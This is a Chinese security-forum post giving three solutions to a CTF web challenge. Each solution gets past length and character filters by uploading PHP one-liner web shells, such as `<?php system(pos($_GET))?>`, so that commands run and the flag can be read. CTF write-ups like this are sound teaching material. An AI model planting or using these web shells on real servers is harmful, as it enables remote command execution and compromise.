首页
社区
课程
招聘
[分享]Web题集中《又不是不能用》的几种解法
发表于: 2025-10-27 18:41 763

[分享]Web题集中《又不是不能用》的几种解法

2025-10-27 18:41
763

原题作者的题解:https://bbs.kanxue.com/thread-258577.htm

题目作者的题解

题目在原题的基础上进行了略微修改:

  1. 将data的长度限制从56改到45:

    原题:现在:

  2. 符号限制也做了修改:

    原题:现在:

三种解法:

1)因为长度限制变短了,又因为不对“$”进行限制,所以可以将原题解中的PHP一句话

{"data": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}

改为

{"data": "<?php system(pos(array_keys($_GET)))?>"}

然后再进行和作者题解相同的后续操作便可得到flag.

2)还可以将一句话再进行缩短,将array_keys去掉

{"data": "<?php system(pos($_GET))?>"}

array_keys的作用是 “提取键名数组,如果不加array_keys,那么后续利用该php文件时提取的就不是键值而是$_GET的第一个值,那么可以在cat前面随意加一个键值,比如"cmd"等等,如图便可以读出flag。

3)题目对“data”进行长度限制,那么可以把“data”改为任意值之后再利用原题解中的一句话,比如:

{"da": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}

{"dat": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}

{"dataaa": "<?php system(pos(array_keys(pos(get_defined_vars()))))?>"}

这样便可以上传成功,之后的操作相同,便可以获得flag。



传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回